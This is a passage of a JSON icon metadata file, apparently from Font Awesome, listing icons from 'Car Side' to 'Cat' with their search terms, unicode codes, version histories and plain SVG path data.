    "label": "Car Side",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M171.3 96H224v96H111.3l30.4-75.9C146.5 104 158.2 96 171.3 96zM272 192V96h81.2c9.7 0 18.9 4.4 25 12l67.2 84H272zm256.2 1L428.2 68c-18.2-22.8-45.8-36-75-36H171.3c-39.3 0-74.6 23.9-89.1 60.3L40.6 196.4C16.8 205.8 0 228.9 0 256V368c0 17.7 14.3 32 32 32H65.3c7.6 45.4 47.1 80 94.7 80s87.1-34.6 94.7-80H385.3c7.6 45.4 47.1 80 94.7 80s87.1-34.6 94.7-80H608c17.7 0 32-14.3 32-32V320c0-65.2-48.8-119-111.8-127zM434.7 368a48 48 0 1 1 90.5 32 48 48 0 1 1 -90.5-32zM160 336a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M171.3 96H224v96H111.3l30.4-75.9C146.5 104 158.2 96 171.3 96zM272 192V96h81.2c9.7 0 18.9 4.4 25 12l67.2 84H272zm256.2 1L428.2 68c-18.2-22.8-45.8-36-75-36H171.3c-39.3 0-74.6 23.9-89.1 60.3L40.6 196.4C16.8 205.8 0 228.9 0 256V368c0 17.7 14.3 32 32 32H65.3c7.6 45.4 47.1 80 94.7 80s87.1-34.6 94.7-80H385.3c7.6 45.4 47.1 80 94.7 80s87.1-34.6 94.7-80H608c17.7 0 32-14.3 32-32V320c0-65.2-48.8-119-111.8-127zM434.7 368a48 48 0 1 1 90.5 32 48 48 0 1 1 -90.5-32zM160 336a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "car-tunnel": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["road", "tunnel"]
    },
    "styles": ["solid"],
    "unicode": "e4de",
    "label": "Car Tunnel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0C114.6 0 0 114.6 0 256V448c0 35.3 28.7 64 64 64h42.8c-6.6-5.9-10.8-14.4-10.8-24V376c0-20.8 11.3-38.9 28.1-48.6l21-64.7c7.5-23.1 29-38.7 53.3-38.7H313.6c24.3 0 45.8 15.6 53.3 38.7l21 64.7c16.8 9.7 28.2 27.8 28.2 48.6V488c0 9.6-4.2 18.1-10.8 24H448c35.3 0 64-28.7 64-64V256C512 114.6 397.4 0 256 0zM362.8 512c-6.6-5.9-10.8-14.4-10.8-24V448H160v40c0 9.6-4.2 18.1-10.8 24H362.8zM190.8 277.5L177 320H335l-13.8-42.5c-1.1-3.3-4.1-5.5-7.6-5.5H198.4c-3.5 0-6.5 2.2-7.6 5.5zM168 408a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm200-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0C114.6 0 0 114.6 0 256V448c0 35.3 28.7 64 64 64h42.8c-6.6-5.9-10.8-14.4-10.8-24V376c0-20.8 11.3-38.9 28.1-48.6l21-64.7c7.5-23.1 29-38.7 53.3-38.7H313.6c24.3 0 45.8 15.6 53.3 38.7l21 64.7c16.8 9.7 28.2 27.8 28.2 48.6V488c0 9.6-4.2 18.1-10.8 24H448c35.3 0 64-28.7 64-64V256C512 114.6 397.4 0 256 0zM362.8 512c-6.6-5.9-10.8-14.4-10.8-24V448H160v40c0 9.6-4.2 18.1-10.8 24H362.8zM190.8 277.5L177 320H335l-13.8-42.5c-1.1-3.3-4.1-5.5-7.6-5.5H198.4c-3.5 0-6.5 2.2-7.6 5.5zM168 408a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm200-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "caravan": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8ff"]
      }
    },
    "changes": [
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["camper", "motor home", "rv", "trailer", "travel"]
    },
    "styles": ["solid"],
    "unicode": "f8ff",
    "label": "Caravan",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 112C0 67.8 35.8 32 80 32H416c88.4 0 160 71.6 160 160V352h32c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32 0H288c0 53-43 96-96 96s-96-43-96-96H80c-44.2 0-80-35.8-80-80V112zM320 352H448V256H416c-8.8 0-16-7.2-16-16s7.2-16 16-16h32V160c0-17.7-14.3-32-32-32H352c-17.7 0-32 14.3-32 32V352zM96 128c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96zm96 336a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 112C0 67.8 35.8 32 80 32H416c88.4 0 160 71.6 160 160V352h32c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32 0H288c0 53-43 96-96 96s-96-43-96-96H80c-44.2 0-80-35.8-80-80V112zM320 352H448V256H416c-8.8 0-16-7.2-16-16s7.2-16 16-16h32V160c0-17.7-14.3-32-32-32H352c-17.7 0-32 14.3-32 32V352zM96 128c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96zm96 336a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "caret-down": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0d7"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "dropdown", "expand", "menu", "more", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f0d7",
    "label": "Caret Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M137.4 374.6c12.5 12.5 32.8 12.5 45.3 0l128-128c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8L32 192c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l128 128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M137.4 374.6c12.5 12.5 32.8 12.5 45.3 0l128-128c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8L32 192c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l128 128z"
      }
    },
    "free": ["solid"]
  },
  "caret-left": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0d9"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "back", "previous", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f0d9",
    "label": "Caret Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M9.4 278.6c-12.5-12.5-12.5-32.8 0-45.3l128-128c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6l0 256c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-128-128z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M9.4 278.6c-12.5-12.5-12.5-32.8 0-45.3l128-128c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6l0 256c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-128-128z"
      }
    },
    "free": ["solid"]
  },
  "caret-right": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0da"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "forward", "next", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f0da",
    "label": "Caret Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M246.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6l0 256c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l128-128z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M246.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6l0 256c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l128-128z"
      }
    },
    "free": ["solid"]
  },
  "caret-up": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0d8"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "collapse", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f0d8",
    "label": "Caret Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M182.6 137.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H288c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-128-128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M182.6 137.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H288c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-128-128z"
      }
    },
    "free": ["solid"]
  },
  "carrot": {
    "aliases": {
      "unicodes": {
        "composite": ["1f955"],
        "secondary": ["10f787"]
      }
    },
    "changes": ["5.6.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bugs bunny", "carrot", "food", "orange", "vegan", "vegetable"]
    },
    "styles": ["solid"],
    "unicode": "f787",
    "label": "Carrot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M346.7 6C337.6 17 320 42.3 320 72c0 40 15.3 55.3 40 80s40 40 80 40c29.7 0 55-17.6 66-26.7c4-3.3 6-8.2 6-13.3s-2-10-6-13.2c-11.4-9.1-38.3-26.8-74-26.8c-32 0-40 8-40 8s8-8 8-40c0-35.7-17.7-62.6-26.8-74C370 2 365.1 0 360 0s-10 2-13.3 6zM244.6 136c-40 0-77.1 18.1-101.7 48.2l60.5 60.5c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-55.3-55.3 0 .1L2.2 477.9C-2 487-.1 497.8 7 505s17.9 9 27.1 4.8l134.7-62.4-52.1-52.1c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L199.7 433l100.2-46.4c46.4-21.5 76.2-68 76.2-119.2C376 194.8 317.2 136 244.6 136z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M346.7 6C337.6 17 320 42.3 320 72c0 40 15.3 55.3 40 80s40 40 80 40c29.7 0 55-17.6 66-26.7c4-3.3 6-8.2 6-13.3s-2-10-6-13.2c-11.4-9.1-38.3-26.8-74-26.8c-32 0-40 8-40 8s8-8 8-40c0-35.7-17.7-62.6-26.8-74C370 2 365.1 0 360 0s-10 2-13.3 6zM244.6 136c-40 0-77.1 18.1-101.7 48.2l60.5 60.5c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-55.3-55.3 0 .1L2.2 477.9C-2 487-.1 497.8 7 505s17.9 9 27.1 4.8l134.7-62.4-52.1-52.1c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L199.7 433l100.2-46.4c46.4-21.5 76.2-68 76.2-119.2C376 194.8 317.2 136 244.6 136z"
      }
    },
    "free": ["solid"]
  },
  "cart-arrow-down": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f218"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["download", "save", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "f218",
    "label": "Cart Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48H69.5c3.8 0 7.1 2.7 7.9 6.5l51.6 271c6.5 34 36.2 58.5 70.7 58.5H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H199.7c-11.5 0-21.4-8.2-23.6-19.5L170.7 288H459.2c32.6 0 61.1-21.8 69.5-53.3l41-152.3C576.6 57 557.4 32 531.1 32H360V134.1l23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-64 64c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l23 23V32H120.1C111 12.8 91.6 0 69.5 0H24zM176 512a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm336-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48H69.5c3.8 0 7.1 2.7 7.9 6.5l51.6 271c6.5 34 36.2 58.5 70.7 58.5H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H199.7c-11.5 0-21.4-8.2-23.6-19.5L170.7 288H459.2c32.6 0 61.1-21.8 69.5-53.3l41-152.3C576.6 57 557.4 32 531.1 32H360V134.1l23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-64 64c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l23 23V32H120.1C111 12.8 91.6 0 69.5 0H24zM176 512a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm336-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "cart-flatbed": {
    "aliases": {
      "names": ["dolly-flatbed"],
      "unicodes": {
        "secondary": ["10f474"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "inventory", "shipping", "transport"]
    },
    "styles": ["solid"],
    "unicode": "f474",
    "label": "Cart Flatbed",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64H48c8.8 0 16 7.2 16 16V368c0 44.2 35.8 80 80 80h18.7c-1.8 5-2.7 10.4-2.7 16c0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1-11-2.7-16H450.7c-1.8 5-2.7 10.4-2.7 16c0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1-11-2.7-16H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H144c-8.8 0-16-7.2-16-16V80C128 35.8 92.2 0 48 0H32zM192 80V272c0 26.5 21.5 48 48 48H560c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H464V176c0 5.9-3.2 11.3-8.5 14.1s-11.5 2.5-16.4-.8L400 163.2l-39.1 26.1c-4.9 3.3-11.2 3.6-16.4 .8s-8.5-8.2-8.5-14.1V32H240c-26.5 0-48 21.5-48 48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64H48c8.8 0 16 7.2 16 16V368c0 44.2 35.8 80 80 80h18.7c-1.8 5-2.7 10.4-2.7 16c0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1-11-2.7-16H450.7c-1.8 5-2.7 10.4-2.7 16c0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1-11-2.7-16H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H144c-8.8 0-16-7.2-16-16V80C128 35.8 92.2 0 48 0H32zM192 80V272c0 26.5 21.5 48 48 48H560c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H464V176c0 5.9-3.2 11.3-8.5 14.1s-11.5 2.5-16.4-.8L400 163.2l-39.1 26.1c-4.9 3.3-11.2 3.6-16.4 .8s-8.5-8.2-8.5-14.1V32H240c-26.5 0-48 21.5-48 48z"
      }
    },
    "free": ["solid"]
  },
  "cart-flatbed-suitcase": {
    "aliases": {
      "names": ["luggage-cart"],
      "unicodes": {
        "secondary": ["10f59d"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["airport", "bag", "baggage", "suitcase", "travel"]
    },
    "styles": ["solid"],
    "unicode": "f59d",
    "label": "Cart Flatbed Suitcase",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H48c44.2 0 80 35.8 80 80V368c0 8.8 7.2 16 16 16H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H541.3c1.8 5 2.7 10.4 2.7 16c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-5.6 1-11 2.7-16H253.3c1.8 5 2.7 10.4 2.7 16c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-5.6 1-11 2.7-16H144c-44.2 0-80-35.8-80-80V80c0-8.8-7.2-16-16-16H32C14.3 64 0 49.7 0 32zM432 96V56c0-4.4-3.6-8-8-8H344c-4.4 0-8 3.6-8 8V96h96zM288 96V56c0-30.9 25.1-56 56-56h80c30.9 0 56 25.1 56 56V96 320H288V96zM512 320V96h16c26.5 0 48 21.5 48 48V272c0 26.5-21.5 48-48 48H512zM240 96h16V320H240c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H48c44.2 0 80 35.8 80 80V368c0 8.8 7.2 16 16 16H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H541.3c1.8 5 2.7 10.4 2.7 16c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-5.6 1-11 2.7-16H253.3c1.8 5 2.7 10.4 2.7 16c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-5.6 1-11 2.7-16H144c-44.2 0-80-35.8-80-80V80c0-8.8-7.2-16-16-16H32C14.3 64 0 49.7 0 32zM432 96V56c0-4.4-3.6-8-8-8H344c-4.4 0-8 3.6-8 8V96h96zM288 96V56c0-30.9 25.1-56 56-56h80c30.9 0 56 25.1 56 56V96 320H288V96zM512 320V96h16c26.5 0 48 21.5 48 48V272c0 26.5-21.5 48-48 48H512zM240 96h16V320H240c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48z"
      }
    },
    "free": ["solid"]
  },
  "cart-plus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f217"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["add", "create", "new", "positive", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "f217",
    "label": "Cart Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 24C0 10.7 10.7 0 24 0H69.5c22 0 41.5 12.8 50.6 32h411c26.3 0 45.5 25 38.6 50.4l-41 152.3c-8.5 31.4-37 53.3-69.5 53.3H170.7l5.4 28.5c2.2 11.3 12.1 19.5 23.6 19.5H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H199.7c-34.6 0-64.3-24.6-70.7-58.5L77.4 54.5c-.7-3.8-4-6.5-7.9-6.5H24C10.7 48 0 37.3 0 24zM128 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm336-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM252 160c0 11 9 20 20 20h44v44c0 11 9 20 20 20s20-9 20-20V180h44c11 0 20-9 20-20s-9-20-20-20H356V96c0-11-9-20-20-20s-20 9-20 20v44H272c-11 0-20 9-20 20z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 24C0 10.7 10.7 0 24 0H69.5c22 0 41.5 12.8 50.6 32h411c26.3 0 45.5 25 38.6 50.4l-41 152.3c-8.5 31.4-37 53.3-69.5 53.3H170.7l5.4 28.5c2.2 11.3 12.1 19.5 23.6 19.5H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H199.7c-34.6 0-64.3-24.6-70.7-58.5L77.4 54.5c-.7-3.8-4-6.5-7.9-6.5H24C10.7 48 0 37.3 0 24zM128 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm336-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM252 160c0 11 9 20 20 20h44v44c0 11 9 20 20 20s20-9 20-20V180h44c11 0 20-9 20-20s-9-20-20-20H356V96c0-11-9-20-20-20s-20 9-20 20v44H272c-11 0-20 9-20 20z"
      }
    },
    "free": ["solid"]
  },
  "cart-shopping": {
    "aliases": {
      "names": ["shopping-cart"],
      "unicodes": {
        "composite": ["1f6d2"],
        "secondary": ["10f07a"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cart",
        "checkout",
        "grocery",
        "payment",
        "purchase",
        "shopping",
        "shopping cart",
        "trolley"
      ]
    },
    "styles": ["solid"],
    "unicode": "f07a",
    "label": "Cart Shopping",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 24C0 10.7 10.7 0 24 0H69.5c22 0 41.5 12.8 50.6 32h411c26.3 0 45.5 25 38.6 50.4l-41 152.3c-8.5 31.4-37 53.3-69.5 53.3H170.7l5.4 28.5c2.2 11.3 12.1 19.5 23.6 19.5H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H199.7c-34.6 0-64.3-24.6-70.7-58.5L77.4 54.5c-.7-3.8-4-6.5-7.9-6.5H24C10.7 48 0 37.3 0 24zM128 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm336-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 24C0 10.7 10.7 0 24 0H69.5c22 0 41.5 12.8 50.6 32h411c26.3 0 45.5 25 38.6 50.4l-41 152.3c-8.5 31.4-37 53.3-69.5 53.3H170.7l5.4 28.5c2.2 11.3 12.1 19.5 23.6 19.5H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H199.7c-34.6 0-64.3-24.6-70.7-58.5L77.4 54.5c-.7-3.8-4-6.5-7.9-6.5H24C10.7 48 0 37.3 0 24zM128 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm336-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "cash-register": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f788"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cha-ching",
        "change",
        "checkout",
        "commerce",
        "leaerboard",
        "machine",
        "pay",
        "payment",
        "purchase",
        "store"
      ]
    },
    "styles": ["solid"],
    "unicode": "f788",
    "label": "Cash Register",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 0C46.3 0 32 14.3 32 32V96c0 17.7 14.3 32 32 32h80v32H87c-31.6 0-58.5 23.1-63.3 54.4L1.1 364.1C.4 368.8 0 373.6 0 378.4V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V378.4c0-4.8-.4-9.6-1.1-14.4L488.2 214.4C483.5 183.1 456.6 160 425 160H208V128h80c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H64zM96 48H256c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16s7.2-16 16-16zM64 432c0-8.8 7.2-16 16-16H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm48-168a24 24 0 1 1 0-48 24 24 0 1 1 0 48zm120-24a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM160 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM328 240a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM256 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM424 240a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM352 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 0C46.3 0 32 14.3 32 32V96c0 17.7 14.3 32 32 32h80v32H87c-31.6 0-58.5 23.1-63.3 54.4L1.1 364.1C.4 368.8 0 373.6 0 378.4V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V378.4c0-4.8-.4-9.6-1.1-14.4L488.2 214.4C483.5 183.1 456.6 160 425 160H208V128h80c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H64zM96 48H256c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16s7.2-16 16-16zM64 432c0-8.8 7.2-16 16-16H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm48-168a24 24 0 1 1 0-48 24 24 0 1 1 0 48zm120-24a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM160 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM328 240a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM256 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM424 240a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM352 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48z"
      }
    },
    "free": ["solid"]
  },
  "cat": {
    "aliases": {
      "unicodes": {
        "composite": ["1f408"],
        "secondary": ["10f6be"]
      }
    },
    "changes": ["5.4.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cat",
        "feline",
        "halloween",
        "holiday",
        "kitten",
        "kitty",
        "meow",
        "pet"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6be",
    "label": "Cat",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
